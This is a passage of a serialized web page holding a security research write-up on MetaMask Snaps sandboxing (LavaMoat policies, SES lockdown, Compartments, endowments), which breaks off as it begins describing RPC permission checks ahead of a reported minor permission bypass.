\"location.origin\"",{"type":21,"tag":198,"props":37912,"children":37913},{"style":211},[37914],{"type":27,"value":16136},{"type":21,"tag":198,"props":37916,"children":37917},{"style":249},[37918],{"type":27,"value":4806},{"type":21,"tag":198,"props":37920,"children":37921},{"style":211},[37922],{"type":27,"value":257},{"type":21,"tag":198,"props":37924,"children":37925},{"class":200,"line":365},[37926,37931,37935,37939],{"type":21,"tag":198,"props":37927,"children":37928},{"style":226},[37929],{"type":27,"value":37930}," \"postMessage\"",{"type":21,"tag":198,"props":37932,"children":37933},{"style":211},[37934],{"type":27,"value":16136},{"type":21,"tag":198,"props":37936,"children":37937},{"style":249},[37938],{"type":27,"value":4806},{"type":21,"tag":198,"props":37940,"children":37941},{"style":211},[37942],{"type":27,"value":257},{"type":21,"tag":198,"props":37944,"children":37945},{"class":200,"line":386},[37946,37950,37954],{"type":21,"tag":198,"props":37947,"children":37948},{"style":226},[37949],{"type":27,"value":435},{"type":21,"tag":198,"props":37951,"children":37952},{"style":211},[37953],{"type":27,"value":16136},{"type":21,"tag":198,"props":37955,"children":37956},{"style":249},[37957],{"type":27,"value":37958},"true\n",{"type":21,"tag":198,"props":37960,"children":37961},{"class":200,"line":408},[37962],{"type":21,"tag":198,"props":37963,"children":37964},{"style":211},[37965],{"type":27,"value":474},{"type":21,"tag":198,"props":37967,"children":37968},{"class":200,"line":429},[37969,37973],{"type":21,"tag":198,"props":37970,"children":37971},{"style":226},[37972],{"type":27,"value":483},{"type":21,"tag":198,"props":37974,"children":37975},{"style":211},[37976],{"type":27,"value":214},{"type":21,"tag":198,"props":37978,"children":37979},{"class":200,"line":450},[37980,37985,37989,37993],{"type":21,"tag":198,"props":37981,"children":37982},{"style":226},[37983],{"type":27,"value":37984}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":21,"tag":198,"props":37986,"children":37987},{"style":211},[37988],{"type":27,"value":16136},{"type":21,"tag":198,"props":37990,"children":37991},{"style":249},[37992],{"type":27,"value":4806},{"type":21,"tag":198,"props":37994,"children":37995},{"style":211},[37996],{"type":27,"value":257},{"type":21,"tag":198,"props":37998,"children":37999},{"class":200,"line":468},[38000,38005,38009],{"type":21,"tag":198,"props":38001,"children":38002},{"style":226},[38003],{"type":27,"value":38004}," \"@metamask/post-message-stream>readable-stream\"",{"type":21,"tag":198,"props":38006,"children":38007},{"style":211},[38008],{"type":27,"value":16136},{"type":21,"tag":198,"props":38010,"children":38011},{"style":249},[38012],{"type":27,"value":37958},{"type":21,"tag":198,"props":38014,"children":38015},{"class":200,"line":477},[38016],{"type":21,"tag":198,"props":38017,"children":38018},{"style":211},[38019],{"type":27,"value":797},{"type":21,"tag":198,"props":38021,"children":38022},{"class":200,"line":494},[38023],{"type":21,"tag":198,"props":38024,"children":38025},{"style":211},[38026],{"type":27,"value":880},{"type":21,"tag":30,"props":38028,"children":38029},{},[38030,38032,38037,38039,38044,38046,38052,38054,38060,38061,38067],{"type":27,"value":38031},"One crucial aspect of the policy, apart from the ",{"type":21,"tag":194,"props":38033,"children":38035},{"className":38034},[],[38036],{"type":27,"value":540},{"type":27,"value":38038}," section, is the ",{"type":21,"tag":194,"props":38040,"children":38042},{"className":38041},[],[38043],{"type":27,"value":548},{"type":27,"value":38045}," segment. This section permits the ",{"type":21,"tag":194,"props":38047,"children":38049},{"className":38048},[],[38050],{"type":27,"value":38051},"@metamask/post-message-stream",{"type":27,"value":38053},"package to exclusively interact with the package ",{"type":21,"tag":194,"props":38055,"children":38057},{"className":38056},[],[38058],{"type":27,"value":38059},"@metamask/utils",{"type":27,"value":11801},{"type":21,"tag":194,"props":38062,"children":38064},{"className":38063},[],[38065],{"type":27,"value":38066},"readable-stream",{"type":27,"value":38068},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":21,"tag":30,"props":38070,"children":38071},{},[38072,38074,38080],{"type":27,"value":38073},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":21,"tag":194,"props":38075,"children":38077},{"className":38076},[],[38078],{"type":27,"value":38079},"lockdown",{"type":27,"value":38081}," function to freeze all javascript builtins prototypes.",{"type":21,"tag":59,"props":38083,"children":38085},{"id":38084},"secure-ecmascript-ses-sandbox-layer-3",[38086],{"type":27,"value":38087},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":21,"tag":30,"props":38089,"children":38090},{},[38091,38093,38100],{"type":27,"value":38092},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":21,"tag":34,"props":38094,"children":38097},{"href":38095,"rel":38096},"https://github.com/endojs/endo/tree/master/packages/ses",[38],[38098],{"type":27,"value":38099},"Secure EcmaScript (SES)",{"type":27,"value":38101}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":21,"tag":162,"props":38103,"children":38105},{"id":38104},"ses-fundamentals",[38106],{"type":27,"value":38107},"SES Fundamentals",{"type":21,"tag":38109,"props":38110,"children":38111},"h5",{"id":38079},[38112],{"type":27,"value":38113},"Lockdown",{"type":21,"tag":30,"props":38115,"children":38116},{},[38117,38119,38125],{"type":27,"value":38118},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":21,"tag":194,"props":38120,"children":38122},{"className":38121},[],[38123],{"type":27,"value":38124},"lockdown()",{"type":27,"value":38126}," function, which protects javascript objects against some attacks, mainly:",{"type":21,"tag":71,"props":38128,"children":38129},{},[38130,38143],{"type":21,"tag":75,"props":38131,"children":38132},{},[38133,38135,38141],{"type":27,"value":38134},"Prototype Pollution\nLockdown executes ",{"type":21,"tag":194,"props":38136,"children":38138},{"className":38137},[],[38139],{"type":27,"value":38140},"Object.freeze",{"type":27,"value":38142}," against all javascript builtins prototypes, preventing these attacks.",{"type":21,"tag":75,"props":38144,"children":38145},{},[38146,38148,38154,38156,38162],{"type":27,"value":38147},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":21,"tag":194,"props":38149,"children":38151},{"className":38150},[],[38152],{"type":27,"value":38153},"trace",{"type":27,"value":38155}," attribute in an ",{"type":21,"tag":194,"props":38157,"children":38159},{"className":38158},[],[38160],{"type":27,"value":38161},"Error",{"type":27,"value":38163}," object, which contains the stack trace of the error.",{"type":21,"tag":38109,"props":38165,"children":38167},{"id":38166},"compartment",[38168],{"type":27,"value":38169},"Compartment",{"type":21,"tag":30,"props":38171,"children":38172},{},[38173,38175,38180,38182,38187],{"type":27,"value":38174},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":21,"tag":194,"props":38176,"children":38178},{"className":38177},[],[38179],{"type":27,"value":2631},{"type":27,"value":38181}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":21,"tag":194,"props":38183,"children":38185},{"className":38184},[],[38186],{"type":27,"value":2631},{"type":27,"value":38188}," context is incapable of tampering with security.",{"type":21,"tag":187,"props":38190,"children":38192},{"className":36387,"code":38191,"language":36389,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[38193],{"type":21,"tag":194,"props":38194,"children":38195},{"__ignoreMap":7},[38196,38225,38258],{"type":21,"tag":198,"props":38197,"children":38198},{"class":200,"line":201},[38199,38203,38208,38212,38216,38221],{"type":21,"tag":198,"props":38200,"children":38201},{"style":249},[38202],{"type":27,"value":2648},{"type":21,"tag":198,"props":38204,"children":38205},{"style":226},[38206],{"type":27,"value":38207}," c",{"type":21,"tag":198,"props":38209,"children":38210},{"style":683},[38211],{"type":27,"value":979},{"type":21,"tag":198,"props":38213,"children":38214},{"style":249},[38215],{"type":27,"value":737},{"type":21,"tag":198,"props":38217,"children":38218},{"style":698},[38219],{"type":27,"value":38220}," Compartment",{"type":21,"tag":198,"props":38222,"children":38223},{"style":211},[38224],{"type":27,"value":3404},{"type":21,"tag":198,"props":38226,"children":38227},{"class":200,"line":217},[38228,38232,38236,38240,38244,38249,38253],{"type":21,"tag":198,"props":38229,"children":38230},{"style":226},[38231],{"type":27,"value":3954},{"type":21,"tag":198,"props":38233,"children":38234},{"style":211},[38235],{"type":27,"value":658},{"type":21,"tag":198,"props":38237,"children":38238},{"style":226},[38239],{"type":27,"value":2631},{"type":21,"tag":198,"props":38241,"children":38242},{"style":683},[38243],{"type":27,"value":1531},{"type":21,"tag":198,"props":38245,"children":38246},{"style":226},[38247],{"type":27,"value":38248}," globalThis",{"type":21,"tag":198,"props":38250,"children":38251},{"style":211},[38252],{"type":27,"value":18028},{"type":21,"tag":198,"props":38254,"children":38255},{"style":1233},[38256],{"type":27,"value":38257},"// false\n",{"type":21,"tag":198,"props":38259,"children":38260},{"class":200,"line":236},[38261,38265,38269,38273,38277,38282,38286,38291,38295],{"type":21,"tag":198,"props":38262,"children":38263},{"style":226},[38264],{"type":27,"value":3954},{"type":21,"tag":198,"props":38266,"children":38267},{"style":211},[38268],{"type":27,"value":658},{"type":21,"tag":198,"props":38270,"children":38271},{"style":226},[38272],{"type":27,"value":2631},{"type":21,"tag":198,"props":38274,"children":38275},{"style":211},[38276],{"type":27,"value":658},{"type":21,"tag":198,"props":38278,"children":38279},{"style":226},[38280],{"type":27,"value":38281},"JSON",{"type":21,"tag":198,"props":38283,"children":38284},{"style":683},[38285],{"type":27,"value":1531},{"type":21,"tag":198,"props":38287,"children":38288},{"style":226},[38289],{"type":27,"value":38290}," JSON",{"type":21,"tag":198,"props":38292,"children":38293},{"style":211},[38294],{"type":27,"value":18028},{"type":21,"tag":198,"props":38296,"children":38297},{"style":1233},[38298],{"type":27,"value":38299},"// true\n",{"type":21,"tag":30,"props":38301,"children":38302},{},[38303,38305,38310,38312,38318,38320,38325],{"type":27,"value":38304},"Compartment also changes the behaviour of evaluators functions such as ",{"type":21,"tag":194,"props":38306,"children":38308},{"className":38307},[],[38309],{"type":27,"value":1397},{"type":27,"value":38311}," and the ",{"type":21,"tag":194,"props":38313,"children":38315},{"className":38314},[],[38316],{"type":27,"value":38317},"Function",{"type":27,"value":38319}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":21,"tag":194,"props":38321,"children":38323},{"className":38322},[],[38324],{"type":27,"value":2631},{"type":27,"value":658},{"type":21,"tag":38109,"props":38327,"children":38329},{"id":38328},"endowments",[38330],{"type":27,"value":38331},"Endowments",{"type":21,"tag":30,"props":38333,"children":38334},{},[38335,38337,38341,38343,38348],{"type":27,"value":38336},"While creating a Compartment, it is possible to specify ",{"type":21,"tag":1671,"props":38338,"children":38339},{},[38340],{"type":27,"value":38328},{"type":27,"value":38342},". These endowments constitute objects that become accessible within the Compartment's ",{"type":21,"tag":194,"props":38344,"children":38346},{"className":38345},[],[38347],{"type":27,"value":2631},{"type":27,"value":38349},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":21,"tag":30,"props":38351,"children":38352},{},[38353,38355,38361],{"type":27,"value":38354},"In addition, SES provides the ",{"type":21,"tag":194,"props":38356,"children":38358},{"className":38357},[],[38359],{"type":27,"value":38360},"harden()",{"type":27,"value":38362}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":21,"tag":162,"props":38364,"children":38366},{"id":38365},"setting-up-snaps-execution-env",[38367],{"type":27,"value":38368},"Setting up Snaps Execution Env",{"type":21,"tag":30,"props":38370,"children":38371},{},[38372],{"type":27,"value":38373},"When starting a snap, the setup follows these steps:",{"type":21,"tag":71,"props":38375,"children":38376},{},[38377],{"type":21,"tag":75,"props":38378,"children":38379},{},[38380],{"type":21,"tag":6137,"props":38381,"children":38382},{},[38383,38385],{"type":27,"value":38384},"Create endowments based on snap ",{"type":21,"tag":34,"props":38386,"children":38389},{"href":38387,"rel":38388},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[38],[38390],{"type":27,"value":38391},"permissions",{"type":21,"tag":187,"props":38393,"children":38395},{"className":36387,"code":38394,"language":36389,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[38396],{"type":21,"tag":194,"props":38397,"children":38398},{"__ignoreMap":7},[38399,38449,38461,38472,38484,38496],{"type":21,"tag":198,"props":38400,"children":38401},{"class":200,"line":201},[38402,38406,38410,38414,38418,38423,38427,38432,38436,38440,38445],{"type":21,"tag":198,"props":38403,"children":38404},{"style":249},[38405],{"type":27,"value":2648},{"type":21,"tag":198,"props":38407,"children":38408},{"style":211},[38409],{"type":27,"value":1891},{"type":21,"tag":198,"props":38411,"children":38412},{"style":226},[38413],{"type":27,"value":38328},{"type":21,"tag":198,"props":38415,"children":38416},{"style":211},[38417],{"type":27,"value":828},{"type":21,"tag":198,"props":38419,"children":38420},{"style":226},[38421],{"type":27,"value":38422},"teardown",{"type":21,"tag":198,"props":38424,"children":38425},{"style":211},[38426],{"type":27,"value":16136},{"type":21,"tag":198,"props":38428,"children":38429},{"style":226},[38430],{"type":27,"value":38431},"endowmentTeardown",{"type":21,"tag":198,"props":38433,"children":38434},{"style":211},[38435],{"type":27,"value":1257},{"type":21,"tag":198,"props":38437,"children":38438},{"style":683},[38439],{"type":27,"value":3174},{"type":21,"tag":198,"props":38441,"children":38442},{"style":698},[38443],{"type":27,"value":38444}," createEndowments",{"type":21,"tag":198,"props":38446,"children":38447},{"style":211},[38448],{"type":27,"value":4268},{"type":21,"tag":198,"props":38450,"children":38451},{"class":200,"line":217},[38452,38457],{"type":21,"tag":198,"props":38453,"children":38454},{"style":226},[38455],{"type":27,"value":38456}," snap",{"type":21,"tag":198,"props":38458,"children":38459},{"style":211},[38460],{"type":27,"value":257},{"type":21,"tag":198,"props":38462,"children":38463},{"class":200,"line":236},[38464,38468],{"type":21,"tag":198,"props":38465,"children":38466},{"style":226},[38467],{"type":27,"value":32271},{"type":21,"tag":198,"props":38469,"children":38470},{"style":211},[38471],{"type":27,"value":257},{"type":21,"tag":198,"props":38473,"children":38474},{"class":200,"line":260},[38475,38480],{"type":21,"tag":198,"props":38476,"children":38477},{"style":226},[38478],{"type":27,"value":38479}," snapId",{"type":21,"tag":198,"props":38481,"children":38482},{"style":211},[38483],{"type":27,"value":257},{"type":21,"tag":198,"props":38485,"children":38486},{"class":200,"line":281},[38487,38492],{"type":21,"tag":198,"props":38488,"children":38489},{"style":226},[38490],{"type":27,"value":38491}," _endowments",{"type":21,"tag":198,"props":38493,"children":38494},{"style":211},[38495],{"type":27,"value":257},{"type":21,"tag":198,"props":38497,"children":38498},{"class":200,"line":302},[38499],{"type":21,"tag":198,"props":38500,"children":38501},{"style":211},[38502],{"type":27,"value":1470},{"type":21,"tag":30,"props":38504,"children":38505},{},[38506],{"type":27,"value":38507},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":21,"tag":30,"props":38509,"children":38510},{},[38511,38513,38519,38521,38527],{"type":27,"value":38512},"One clear example is the ",{"type":21,"tag":194,"props":38514,"children":38516},{"className":38515},[],[38517],{"type":27,"value":38518},"endowment:network-access",{"type":27,"value":38520}," permission, that adds the ",{"type":21,"tag":194,"props":38522,"children":38524},{"className":38523},[],[38525],{"type":27,"value":38526},"fetch()",{"type":27,"value":38528}," function to the endowments.",{"type":21,"tag":30,"props":38530,"children":38531},{},[38532,38534,38540],{"type":27,"value":38533},"All endowments are protected with the ",{"type":21,"tag":194,"props":38535,"children":38537},{"className":38536},[],[38538],{"type":27,"value":38539},"harden",{"type":27,"value":38541}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":21,"tag":71,"props":38543,"children":38544},{"start":217},[38545],{"type":21,"tag":75,"props":38546,"children":38547},{},[38548],{"type":21,"tag":6137,"props":38549,"children":38550},{},[38551,38553],{"type":27,"value":38552},"Create the snap ",{"type":21,"tag":34,"props":38554,"children":38557},{"href":38555,"rel":38556},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[38],[38558],{"type":27,"value":38166},{"type":21,"tag":187,"props":38560,"children":38562},{"className":36387,"code":38561,"language":36389,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[38563],{"type":21,"tag":194,"props":38564,"children":38565},{"__ignoreMap":7},[38566,38594,38610,38627,38651],{"type":21,"tag":198,"props":38567,"children":38568},{"class":200,"line":201},[38569,38573,38578,38582,38586,38590],{"type":21,"tag":198,"props":38570,"children":38571},{"style":249},[38572],{"type":27,"value":2648},{"type":21,"tag":198,"props":38574,"children":38575},{"style":226},[38576],{"type":27,"value":38577}," compartment",{"type":21,"tag":198,"props":38579,"children":38580},{"style":683},[38581],{"type":27,"value":979},{"type":21,"tag":198,"props":38583,"children":38584},{"style":249},[38585],{"type":27,"value":737},{"type":21,"tag":198,"props":38587,"children":38588},{"style":698},[38589],{"type":27,"value":38220},{"type":21,"tag":198,"props":38591,"children":38592},{"style":211},[38593],{"type":27,"value":15945},{"type":21,"tag":198,"props":38595,"children":38596},{"class":200,"line":217},[38597,38602,38606],{"type":21,"tag":198,"props":38598,"children":38599},{"style":683},[38600],{"type":27,"value":38601}," ...",{"type":21,"tag":198,"props":38603,"children":38604},{"style":226},[38605],{"type":27,"value":38328},{"type":21,"tag":198,"props":38607,"children":38608},{"style":211},[38609],{"type":27,"value":257},{"type":21,"tag":198,"props":38611,"children":38612},{"class":200,"line":236},[38613,38618,38623],{"type":21,"tag":198,"props":38614,"children":38615},{"style":226},[38616],{"type":27,"value":38617}," module:",{"type":21,"tag":198,"props":38619,"children":38620},{"style":226},[38621],{"type":27,"value":38622}," snapModule",{"type":21,"tag":198,"props":38624,"children":38625},{"style":211},[38626],{"type":27,"value":257},{"type":21,"tag":198,"props":38628,"children":38629},{"class":200,"line":260},[38630,38635,38639,38643,38647],{"type":21,"tag":198,"props":38631,"children":38632},{"style":226},[38633],{"type":27,"value":38634}," exports:",{"type":21,"tag":198,"props":38636,"children":38637},{"style":226},[38638],{"type":27,"value":38622},{"type":21,"tag":198,"props":38640,"children":38641},{"style":211},[38642],{"type":27,"value":658},{"type":21,"tag":198,"props":38644,"children":38645},{"style":226},[38646],{"type":27,"value":1969},{"type":21,"tag":198,"props":38648,"children":38649},{"style":211},[38650],{"type":27,"value":257},{"type":21,"tag":198,"props":38652,"children":38653},{"class":200,"line":281},[38654],{"type":21,"tag":198,"props":38655,"children":38656},{"style":211},[38657],{"type":27,"value":2257},{"type":21,"tag":30,"props":38659,"children":38660},{},[38661,38663,38669,38670,38675,38677,38682],{"type":27,"value":38662},"Note: ",{"type":21,"tag":194,"props":38664,"children":38666},{"className":38665},[],[38667],{"type":27,"value":38668},"module",{"type":27,"value":11801},{"type":21,"tag":194,"props":38671,"children":38673},{"className":38672},[],[38674],{"type":27,"value":1969},{"type":27,"value":38676}," are passed as endowments, but without being ",{"type":21,"tag":1671,"props":38678,"children":38679},{},[38680],{"type":27,"value":38681},"hardened",{"type":27,"value":38683},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":21,"tag":71,"props":38685,"children":38686},{"start":236},[38687],{"type":21,"tag":75,"props":38688,"children":38689},{},[38690],{"type":21,"tag":6137,"props":38691,"children":38692},{},[38693,38695],{"type":27,"value":38694},"Evaluate the snap code inside the ",{"type":21,"tag":34,"props":38696,"children":38699},{"href":38697,"rel":38698},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[38],[38700],{"type":27,"value":38166},{"type":21,"tag":187,"props":38702,"children":38704},{"className":36387,"code":38703,"language":36389,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[38705],{"type":21,"tag":194,"props":38706,"children":38707},{"__ignoreMap":7},[38708,38749,38778,38815],{"type":21,"tag":198,"props":38709,"children":38710},{"class":200,"line":201},[38711,38715,38719,38723,38728,38732,38736,38741,38745],{"type":21,"tag":198,"props":38712,"children":38713},{"style":640},[38714],{"type":27,"value":33695},{"type":21,"tag":198,"props":38716,"children":38717},{"style":249},[38718],{"type":27,"value":36490},{"type":21,"tag":198,"props":38720,"children":38721},{"style":211},[38722],{"type":27,"value":658},{"type":21,"tag":198,"props":38724,"children":38725},{"style":698},[38726],{"type":27,"value":38727},"executeInSnapContext",{"type":21,"tag":198,"props":38729,"children":38730},{"style":211},[38731],{"type":27,"value":706},{"type":21,"tag":198,"props":38733,"children":38734},{"style":226},[38735],{"type":27,"value":36794},{"type":21,"tag":198,"props":38737,"children":38738},{"style":211},[38739],{"type":27,"value":38740},", () ",{"type":21,"tag":198,"props":38742,"children":38743},{"style":249},[38744],{"type":27,"value":15626},{"type":21,"tag":198,"props":38746,"children":38747},{"style":211},[38748],{"type":27,"value":233},{"type":21,"tag":198,"props":38750,"children":38751},{"class":200,"line":217},[38752,38757,38761,38766,38770,38774],{"type":21,"tag":198,"props":38753,"children":38754},{"style":226},[38755],{"type":27,"value":38756}," compartment",{"type":21,"tag":198,"props":38758,"children":38759},{"style":211},[38760],{"type":27,"value":658},{"type":21,"tag":198,"props":38762,"children":38763},{"style":698},[38764],{"type":27,"value":38765},"evaluate",{"type":21,"tag":198,"props":38767,"children":38768},{"style":211},[38769],{"type":27,"value":706},{"type":21,"tag":198,"props":38771,"children":38772},{"style":226},[38773],{"type":27,"value":1740},{"type":21,"tag":198,"props":38775,"children":38776},{"style":211},[38777],{"type":27,"value":1470},{"type":21,"tag":198,"props":38779,"children":38780},{"class":200,"line":236},[38781,38785,38789,38794,38798,38802,38806,38811],{"type":21,"tag":198,"props":38782,"children":38783},{"style":249},[38784],{"type":27,"value":36838},{"type":21,"tag":198,"props":38786,"children":38787},{"style":211},[38788],{"type":27,"value":658},{"type":21,"tag":198,"props":38790,"children":38791},{"style":698},[38792],{"type":27,"value":38793},"registerSnapExports",{"type":21,"tag":198,"props":38795,"children":38796},{"style":211},[38797],{"type":27,"value":706},{"type":21,"tag":198,"props":38799,"children":38800},{"style":226},[38801],{"type":27,"value":36794},{"type":21,"tag":198,"props":38803,"children":38804},{"style":211},[38805],{"type":27,"value":828},{"type":21,"tag":198,"props":38807,"children":38808},{"style":226},[38809],{"type":27,"value":38810},"snapModule",{"type":21,"tag":198,"props":38812,"children":38813},{"style":211},[38814],{"type":27,"value":1470},{"type":21,"tag":198,"props":38816,"children":38817},{"class":200,"line":260},[38818],{"type":21,"tag":198,"props":38819,"children":38820},{"style":211},[38821],{"type":27,"value":2257},{"type":21,"tag":30,"props":38823,"children":38824},{},[38825,38827,38833,38834,38840,38841,38847],{"type":27,"value":38826},"According to the documentation, the snap must contain one of the following function exports: ",{"type":21,"tag":194,"props":38828,"children":38830},{"className":38829},[],[38831],{"type":27,"value":38832},"onRpcRequest",{"type":27,"value":828},{"type":21,"tag":194,"props":38835,"children":38837},{"className":38836},[],[38838],{"type":27,"value":38839},"onTransaction",{"type":27,"value":13940},{"type":21,"tag":194,"props":38842,"children":38844},{"className":38843},[],[38845],{"type":27,"value":38846},"onCronjob",{"type":27,"value":658},{"type":21,"tag":30,"props":38849,"children":38850},{},[38851,38853,38858],{"type":27,"value":38852},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":21,"tag":194,"props":38854,"children":38856},{"className":38855},[],[38857],{"type":27,"value":2631},{"type":27,"value":38859}," environment of that Compartment.",{"type":21,"tag":30,"props":38861,"children":38862},{},[38863],{"type":27,"value":38864},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":21,"tag":22,"props":38866,"children":38868},{"id":38867},"vulnerability-research",[38869],{"type":27,"value":38870},"Vulnerability research",{"type":21,"tag":59,"props":38872,"children":38874},{"id":38873},"possible-attacks",[38875],{"type":27,"value":38876},"Possible attacks",{"type":21,"tag":30,"props":38878,"children":38879},{},[38880],{"type":27,"value":38881},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":21,"tag":138,"props":38883,"children":38884},{},[38885,38890,38895,38900],{"type":21,"tag":75,"props":38886,"children":38887},{},[38888],{"type":27,"value":38889},"Broken SES Container isolation",{"type":21,"tag":75,"props":38891,"children":38892},{},[38893],{"type":27,"value":38894},"Insecure endowments in Containers",{"type":21,"tag":75,"props":38896,"children":38897},{},[38898],{"type":27,"value":38899},"Incorrect RPC permission checks",{"type":21,"tag":75,"props":38901,"children":38902},{},[38903],{"type":27,"value":38904},"Insecure snap installation/update",{"type":21,"tag":30,"props":38906,"children":38907},{},[38908],{"type":27,"value":38909},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":21,"tag":30,"props":38911,"children":38912},{},[38913],{"type":27,"value":38914},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":21,"tag":59,"props":38916,"children":38918},{"id":38917},"rpc-interfaces-endowments",[38919],{"type":27,"value":38920},"RPC interfaces endowments",{"type":21,"tag":162,"props":38922,"children":38924},{"id":38923},"providers-limitations",[38925],{"type":27,"value":38926},"Providers limitations",{"type":21,"tag":30,"props":38928,"children":38929},{},[38930,38932,38938,38939,38944,38946,38953],{"type":27,"value":38931},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":21,"tag":194,"props":38933,"children":38935},{"className":38934},[],[38936],{"type":27,"value":38937},"snap",{"type":27,"value":11801},{"type":21,"tag":194,"props":38940,"children":38942},{"className":38941},[],[38943],{"type":27,"value":32206},{"type":27,"value":38945}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":21,"tag":34,"props":38947,"children":38950},{"href":38948,"rel":38949},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[38],[38951],{"type":27,"value":38952},"methods",{"type":27,"value":185},{"type":21,"tag":187,"props":38955,"children":38957},{"className":36387,"code":38956,"language":36389,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[38958],{"type":21,"tag":194,"props":38959,"children":38960},{"__ignoreMap":7},[38961,39000,39008,39020,39090,39151,39163,39171,39182,39222,39252,39264,39289,39296,39304,39311,39349],{"type":21,"tag":198,"props":38962,"children":38963},{"class":200,"line":201},[38964,38969,38973,38978,38982,38987,38991,38996],{"type":21,"tag":198,"props":38965,"children":38966},{"style":640},[38967],{"type":27,"value":38968},"export",{"type":21,"tag":198,"props":38970,"children":38971},{"style":249},[38972],{"type":27,"value":2000},{"type":21,"tag":198,"props":38974,"children":38975},{"style":698},[38976],{"type":27,"value":38977}," assertSnapOutboundRequest",{"type":21,"tag":198,"props":38979,"children":38980},{"style":211},[38981],{"type":27,"value":706},{"type":21,"tag":198,"props":38983,"children":38984},{"style":226},[38985],{"type":27,"value":38986},"args",{"type":21,"tag":198,"props":38988,"children":38989},{"style":683},[38990],{"type":27,"value":185},{"type":21,"tag":198,"props":38992,"children":38993},{"style":1966},[38994],{"type":27,"value":38995}," RequestArguments",{"type":21,"tag":198,"props":38997,"children":38998},{"style":211},[38999],{"type":27,"value":668},{"type":21,"tag":198,"props":39001,"children":39002},{"class":200,"line":217},[39003],{"type":21,"tag":198,"props":39004,"children":39005},{"style":1233},[39006],{"type":27,"value":39007}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":21,"tag":198,"props":39009,"children":39010},{"class":200,"line":236},[39011,39016],{"type":21,"tag":198,"props":39012,"children":39013},{"style":698},[39014],{"type":27,"value":39015}," assert",{"type":21,"tag":198,"props":39017,"children":39018},{"style":211},[39019],{"type":27,"value":4268},{"type":21,"tag":198,"props":39021,"children":39022},{"class":200,"line":260},[39023,39028,39032,39037,39041,39046,39050,39055,39059,39063,39067,39072,39076,39081,39085],{"type":21,"tag":198,"props":39024,"children":39025},{"style":1966},[39026],{"type":27,"value":39027}," String",{"type":21,"tag":198,"props":39029,"children":39030},{"style":211},[39031],{"type":27,"value":658},{"type":21,"tag":198,"props":39033,"children":39034},{"style":226},[39035],{"type":27,"value":39036},"prototype",{"type":21,"tag":198,"props":39038,"children":39039},{"style":211},[39040],{"type":27,"value":658},{"type":21,"tag":198,"props":39042,"children":39043},{"style":226},[39044],{"type":27,"value":39045},"startsWith",{"type":21,"tag":198,"props":39047,"children":39048},{"style":211},[39049],{"type":27,"value":658},{"type":21,"tag":198,"props":39051,"children":39052},{"style":698},[39053],{"type":27,"value":39054},"call",{"type":21,"tag":198,"props":39056,"children":39057},{"style":211},[39058],{"type":27,"value":706},{"type":21,"tag":198,"props":39060,"children":39061},{"style":226},[39062],{"type":27,"value":38986},{"type":21,"tag":198,"props":39064,"children":39065},{"style":211},[39066],{"type":27,"value":658},{"type":21,"tag":198,"props":39068,"children":39069},{"style":226},[39070],{"type":27,"value":39071},"method",{"type":21,"tag":198,"props":39073,"children":39074},{"style":211},[39075],{"type":27,"value":828},{"type":21,"tag":198,"props":39077,"children":39078},{"style":205},[39079],{"type":27,"value":39080},"'wallet_'",{"type":21,"tag":198,"props":39082,"children":39083},{"